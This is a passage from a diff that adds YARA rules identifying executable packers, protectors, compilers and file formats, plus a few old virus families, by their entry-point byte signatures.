+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v42_
+{
+	meta:
+		description = "Microsoft Visual C++ v4.2"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? C7}
+		$1 = {64 A1 00 00 00 00 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 53 56 57 89 ?? ?? FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_V1X_Method2__bagie_
+{
+	meta:
+		description = "SimplePack V1.X (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 ?? 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04}
+	condition:
+		$0 at entrypoint
+}
+rule _DiskDupe_c_MSD_Configuration_file_
+{
+	meta:
+		description = "DiskDupe (c) MSD Configuration file"
+	strings:
+		$0 = {4D 53 44 20 44 61 74 61 20 56 65 72 73}
+	condition:
+		$0
+}
+rule _PseudoSigner_01_32Lite_003__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [32Lite 0.03] -> Anorganix"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68 ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _AHPack_01__FEUERRADER_
+{
+	meta:
+		description = "AHPack 0.1 -> FEUERRADER"
+	strings:
+		$0 = {60 68 54 ?? ?? 00 B8 48 ?? ?? 00 FF 10 68 B3 ?? ?? 00 50 B8 44 ?? ?? 00 FF 10 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V20__SetiSoft_Team__Sign_by_fly_
+{
+	meta:
+		description = "Private exe Protector V2.0 -> SetiSoft Team ! Sign by fly"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _tElock_v071_
+{
+	meta:
+		description = "tElock v0.71"
+	strings:
+		$0 = {60 E8 ED 10 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1342__Obsidium_Softwarenbsp_nbsp_SignByfly_
+{
+	meta:
+		description = "Obsidium V1.3.4.2 -> Obsidium Software&nbsp; &nbsp;* Sign.By.fly"
+	strings:
+		$0 = {EB 02 ?? ?? E8 26 00 00 00 EB 03 ?? ?? ?? EB 01 ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 24 EB 03 ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 03 ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 03 ?? ?? ?? 50 EB 04 ?? ?? ?? ?? 33 C0 EB 03 ?? ?? ?? 8B 00 EB 03 ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 64 67 8F 06 00 00 EB 04 ?? ?? ?? ?? 83 C4 04 EB 01 ?? E8 C3 27 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_v100_LZBRS_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRS]"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+		$1 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v50_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v5.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Trilobytes_JPEG_graphics_Library_
+{
+	meta:
+		description = "Trilobyte's JPEG graphics Library"
+	strings:
+		$0 = {84 10 FF FF FF FF 1E 00 01 10 08 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _RLPack_Full_Edition_117_LZMA_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 (LZMA)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 73 26 00 00 8D 9D 58 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_v12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor v1.2 -> CGSoftLabs"
+	strings:
+		$0 = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+	condition:
+		$0
+}
+rule _Shrink_Wrap_v14_
+{
+	meta:
+		description = "Shrink Wrap v1.4"
+	strings:
+		$0 = {58 60 8B E8 55 33 F6 68 48 01 ?? ?? E8 49 01 ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2001__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.001 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _kryptor_6_
+{
+	meta:
+		description = "kryptor 6"
+	strings:
+		$0 = {E8 03 ?? ?? ?? E9 EB 68 58 33 D2 74 02 E9 E9 40 42 75 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_GRUNT4Family_
+{
+	meta:
+		description = "Vx: GRUNT.4.Family"
+	strings:
+		$0 = {E8 1C 00 8D 9E 41 01 40 3E 8B 96 14 03 B9 EA 00 87 DB F7 D0 31 17 83 C3 02 E2 F7 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v098_
+{
+	meta:
+		description = "PECompact v0.98"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85}
+	condition:
+		$0 at entrypoint
+}
+rule _FakeNinja_v28__Spirit_
+{
+	meta:
+		description = "FakeNinja v2.8 -> Spirit"
+	strings:
+		$0 = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+	condition:
+		$0
+}
+rule _Img_Software_Set_graphics_file_
+{
+	meta:
+		description = "Img Software Set graphics file"
+	strings:
+		$0 = {53 43 4D 49 20 20 20 31 41 54}
+	condition:
+		$0
+}
+rule _Zortech_C_v200_1988_1989_
+{
+	meta:
+		description = "Zortech C v2.00 1988, 1989"
+	strings:
+		$0 = {FA B8 ?? ?? 8E D8 8C ?? ?? ?? 26 8B ?? ?? ?? 89 1E ?? ?? 8B D8 2B 1E ?? ?? 89 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V22004616V22006630__WFS_
+{
+	meta:
+		description = "EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 73 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Protect_Shareware_11__eCompserv_CMS_
+{
+	meta:
+		description = "Protect Shareware 1.1 -> eCompserv CMS"
+	strings:
+		$0 = {53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 ?? 01 00 00 01 00 30 00 34 00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 34 00 ?? 00 01 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00}
+	condition:
+		$0
+}
+rule _nSPack_2x3x_NET__North_StarLiu_Xing_Ping_
+{
+	meta:
+		description = "nSPack 2.x/3.x .NET -> North Star/Liu Xing Ping"
+	strings:
+		$0 = {FF 25 A4 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_224__StrongbitSoftComplete_Development_h1_
+{
+	meta:
+		description = "EXECryptor 2.2.4 -> Strongbit/SoftComplete Development (h1)"
+	strings:
+		$0 = {E8 F7 FE FF FF 05 ?? ?? 00 00 FF E0 E8 EB FE FF FF 05 ?? ?? 00 00 FF E0 E8 04 00 00 00 FF FF FF FF 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PEZip_v10_by_BaGIE_
+{
+	meta:
+		description = "PEZip v1.0 by BaGIE"
+	strings:
+		$0 = {D9 D0 F8 74 02 23 DB F5 F5 50 51 52 53 8D 44 24 10 50 55 56 57 D9 D0 22 C9 C1 F7 A0 55 66 C1 C8 B0 5D 81 E6 FF FF FF FF F8 77 07 52 76 03 72 01 90 5A C1 E0 60 90 BD 1F 01 00 00 87 E8 E2 07 E3 05 17 5D 47 E4 42 41 7F 06 50 66 83 EE 00 58 25 FF FF FF FF 51 0F B6 C9 66 83 F6 00 3D CB 60 47 92 50 40 58 FC E2 EE 59 F8 7C 08 53 74 04 78 02 84 C9 5B 66 0B ED F8 F5 BA 9F FA FF FF 52 57 77 04 78 02 84 E4 5F 5A 50 80 EF 00 58 50 81 E0 FF FF FF FF 58 3C EF FC 7A 05 3D DF DA AC D1 05 00 00 00 00 73 05 71 03 7E 01 90 EB 02 EB 05 E8 F9 FF FF FF 83 C0 00 7B 06 53 66 BB 74 EF 5B F8 8B 3C 24 83 C4 04 51 0F B6 C9 66 C1 C7 30 0B D2 53 66 83 FD F6 5B 55 6A 97 83 C4 04 5D E2 E8 59 53 55 51 66 83 E9 00 59 5D 5B F8 01 FA 22 C9 7A 02 8D 3F 79 08 71 06 52 66 A9 6E E3 5A 51 0F B6}
+	condition:
+		$0
+}
+rule _Vx_Number_One_
+{
+	meta:
+		description = "Vx: Number One"
+	strings:
+		$0 = {F9 07 3C 53 6D 69 6C 65 3E E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ANDpakk2_018__by_Dmitry_quotANDquot_Andreev_
+{
+	meta:
+		description = "ANDpakk2 0.18 - by Dmitry &quot;AND&quot; Andreev"
+	strings:
+		$0 = {FC BE D4 00 40 00 BF 00 ?? ?? 00 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD 00 FB FF FF 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1990_07_
+{
+	meta:
+		description = "MS Run-Time Library 1990 (07)"
+	strings:
+		$0 = {2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0971__v0976_
+{
+	meta:
+		description = "PECompact v0.971 - v0.976"
+	strings:
+		$0 = {EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _ChinaProtect__dummy__Sign_by_fly_
+{
+	meta:
+		description = "ChinaProtect -> dummy ! Sign by fly"
+	strings:
+		$0 = {C3 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 30 C3 56 8B ?? ?? ?? 6A 40 68 00 10 00 00 8D ?? ?? 50 6A 00 E8 ?? ?? ?? ?? 89 30 83 C0 04 5E C3 8B 44 ?? ?? 56 8D ?? ?? 68 00 40 00 00 FF 36 56 E8 ?? ?? ?? ?? 68 00 80 00 00 6A 00 56 E8 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0
+}
+rule _Vx_Danish_tiny_
+{
+	meta:
+		description = "Vx: Danish tiny"
+	strings:
+		$0 = {33 C9 B4 4E CD 21 73 02 FF ?? BA ?? 00 B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v015b_
+{
+	meta:
+		description = "CodeCrypt v0.15b"
+	strings:
+		$0 = {E9 31 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _ocBat2Exe_10__OC_
+{
+	meta:
+		description = "ocBat2Exe 1.0 -> OC"
+	strings:
+		$0 = {55 8B EC B9 08 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 58 3C 40 00 E8 6C FA FF FF 33 C0 55 68 8A 3F 40 00 64 FF 30 64 89 20 6A 00 6A 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 33 C0 E8 81 E9 FF FF 8B 45 EC E8 41 F6 FF FF 50 E8 F3 FA FF FF 8B F8 83 FF FF 0F 84 83 02 00 00 6A 02 6A 00 6A EE 57 E8 FC FA FF FF 6A 00 68 60 99 4F 00 6A 12 68 18 57 40 00 57 E8 E0 FA FF FF 83 3D 60 99 4F 00 12 0F 85 56 02 00 00 8D 45 E4 50 8D 45 E0 BA 18 57 40 00 B9 40 42 0F 00 E8 61 F4 FF FF 8B 45 E0 B9 12 00 00 00 BA 01 00 00 00 E8 3B F6 FF FF 8B 45 E4 8D 55 E8 E8 04 FB ?? ?? ?? ?? E8 B8 58 99 4F 00 E8 67 F3 FF FF 33 C0 A3 60 99 4F 00 8D 45 DC 50 B9 05 00 00 00 BA 01 00 00 00 A1 58 99 4F 00 E8 04 F6 FF FF 8B 45 DC BA A4 3F 40 00 E8 E3 F4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _CorelDraw_8_CDR_Graphics_format_
+{
+	meta:
+		description = "CorelDraw 8 CDR Graphics format"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 43 44 52 38}
+	condition:
+		$0
+}
+rule _FixupPak_v120_
+{
+	meta:
+		description = "FixupPak v1.20"
+	strings:
+		$0 = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Guarder_v18__Exeiconcom_h_
+{
+	meta:
+		description = "Exe Guarder v1.8 -> Exeicon.com (h)"
+	strings:
+		$0 = {55 8B EC 83 C4 D0 53 56 57 8D 75 FC 8B 44 24 30 25 00 00 FF FF 81 38 4D 5A 90 00 74 07 2D 00 10 00 00 EB F1 89 45 FC E8 C8 FF FF FF 2D B2 04 00 00 89 45 F4 8B 06 8B 40 3C 03 06 8B 40 78 03 06 8B C8 8B 51 20 03 16 8B 59 24 03 1E 89 5D F0 8B 59 1C 03 1E 89 5D EC 8B 41 18 8B C8 49 85 C9 72 5A 41 33 C0 8B D8 C1 E3 02 03 DA 8B 3B 03 3E 81 3F 47 65 74 50 75 40 8B DF 83 C3 04 81 3B 72 6F 63 41 75 33 8B DF 83 C3 08 81 3B 64 64 72 65 75 26 83 C7 0C 66 81 3F 73 73 75 1C 8B D0 03 D2 03 55 F0 0F B7 12 C1 E2 02 03 55 EC 8B 12 03 16 8B 4D F4 89 51 08 EB 04 40 49 75 A9 8B 5D F4 8D 83 A1 00 00 00 50 8B 06 50 FF 53 08 89 43 0C 8D 83 AE 00 00 00 50 8B 06 50 FF 53 08 89 43 10 8D 83 BA 00 00 00 50 8B 06 50 FF 53 08 89 43 14 8D 83 C6 00 00 00 50 8B 06 50 FF 53 08 89 43 18 8D 83 D7 00 00 00 50 8B 06 50 FF 53 08 89 43 1C 8D 83 E0 00 00 00 50 8B 06 50 FF 53 08}
+	condition:
+		$0 at entrypoint
+}
+rule _Pi_Cryptor_10__by_Scofield_
+{
+	meta:
+		description = "Pi Cryptor 1.0 - by Scofield"
+	strings:
+		$0 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF}
+		$1 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0}
+		$2 = {55 8B EC 83 C4 EC 53 56 57 31 C0 89 45 EC B8 40 1E 06 00 E8 48 FA FF FF 33 C0 55 68 36 1F 06 00 64 FF 30 64 89 20 6A 00 68 80 00 00 00 6A 03 6A 00 6A 01 68 00 00 00 80 8D 55 EC 31 C0 E8 4E F4 FF FF 8B 45 EC E8 F6 F7 FF FF 50 E8 CC FA FF FF 8B D8 83 FB FF 74 4E 6A 00 53 E8 CD FA FF FF 8B F8 81 EF AC 26 00 00 6A 00 6A 00 68 AC 26 00 00 53 E8 DE FA FF FF 89 F8 E8 E3 F1 FF FF 89 C6 6A 00 68 28 31 06 00 57 56 53 E8 AE FA FF FF 53 E8 80 FA FF FF 89 FA 81 EA 72 01 00 00 8B C6 E8 55 FE FF FF 89 C6 89 F0 09 C0 74 05 E8 A8 FB FF FF 31 C0 5A 59 59 64 89 10 68 3D 1F 06 00 8D 45 EC E8 C3 F6 FF FF C3}
+		$3 = {89 55 F8 BB 01 00 00 00 8A 04 1F 24 0F 8B 55 FC 8A 14 32 80 E2 0F 32 C2 8A 14 1F 80 E2 F0 02 D0 88 14 1F 46 8D 45 F4 8B 55 FC E8 ?? ?? ?? ?? 8B 45 F4 E8 ?? ?? ?? ?? 3B F0 7E 05 BE 01 00 00 00 43 FF 4D F8 75 C2 ?? ?? ?? ?? 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 F4 E8 ?? ?? ?? ?? C3 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3
+}
+rule _PseudoSigner_01_MEW_11_SE_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MEW 11 SE 1.0] -> Anorganix"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C_20_
+{
+	meta:
+		description = "Microsoft Visual C 2.0"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 8B EC 6A FF 68}
+	condition:
+		$0 at entrypoint
+}
+rule _XWD_graphics_format_
+{
+	meta:
+		description = "XWD graphics format"
+	strings:
+		$0 = {00 00 00 71 00 00 00 07 00 00 00 02 00 00 00}
+	condition:
+		$0
+}
+rule _UPX_p_ECLiPSE_layer_
+{
+	meta:
+		description = "UPX + ECLiPSE layer"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 33 D2 EB 01 0F 56 EB 01 0F E8 03 00 00 00 EB 01 0F EB 01 0F 5E EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _NET_executable_
+{
+	meta:
+		description = ".NET executable"
+	strings:
+		$0 = {FF 25 00 20 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_v10__Brandon_LaCombe_
+{
+	meta:
+		description = "Packman v1.0 -> Brandon LaCombe"
+	strings:
+		$0 = {60 E8 00 00 00 00 5B 8D 5B C6 01 1B 8B 13 8D 73 14 6A 08 59 01 16 AD 49 75 FA 8B E8 C6 06 E9 8B 43 0C 89 46 01 6A 04 68 00 10 00 00 FF 73 08 51 FF 55 08 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _SimplePack_121build0909_Method2__bagie_
+{
+	meta:
+		description = "SimplePack 1.21.build.09.09 (Method2) -> bagie"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 8A 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 00 00 00 00 ?? ?? ?? 00 10 00 00 00 02 00 00 01 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _ExeLock_v100_
+{
+	meta:
+		description = "ExeLock v1.00"
+	strings:
+		$0 = {06 8C C8 8E C0 BE ?? ?? 26 ?? ?? 34 ?? 26 ?? ?? 46 81 ?? ?? ?? 75 ?? 40 B3 ?? B3 ?? F3}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_SPx_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 SPx"
+	strings:
+		$0 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15}
+		$1 = {55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TXT2COM_v206_
+{
+	meta:
+		description = "TXT2COM v2.06"
+	strings:
+		$0 = {8D 26 ?? ?? E8 ?? ?? B8 ?? ?? CD 21 CD 20 54 58 54 32 43 4F 4D 20}
+	condition:
+		$0 at entrypoint
+}
+rule _MinGW_32x_main_
+{
+	meta:
+		description = "MinGW 3.2.x (main)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D}
+	condition:
+		$0
+}
+rule _MS_Visual_Cpp_v8_hgood_sig_but_is_it_MSVC_
+{
+	meta:
+		description = "MS Visual C++ v.8 (h-good sig, but is it MSVC?)"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00}
+		$1 = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00 00 01 EB 11 83 B8 74 00 00 01 0E 76 B8 33 C9 39 88 E8 00 00 01 0F 95 C1 8B C1 6A 01 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 50 FF ?? ?? ?? 00 01 83 0D ?? ?? ?? 01 FF 83 0D ?? ?? ?? 01 FF 59 59 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 A1 ?? ?? 00 01 8B 00 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 83 3D ?? ?? ?? 01 00 75 0C 68 ?? ?? ?? 01 FF 15 ?? ?? 00 01 59 E8 ?? ?? 00 00 33 C0 C3 CC CC CC CC CC}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Obsidium_V1334__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.3.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33}
+	condition:
+		$0 at entrypoint
+}
+rule _DIET_v100d_
+{
+	meta:
+		description = "DIET v1.00d"
+	strings:
+		$0 = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_V01__NTkrnl_Software__Sign_by_fly_
+{
+	meta:
+		description = "NTkrnl Secure Suite V0.1 -> NTkrnl Software ! Sign by fly"
+	strings:
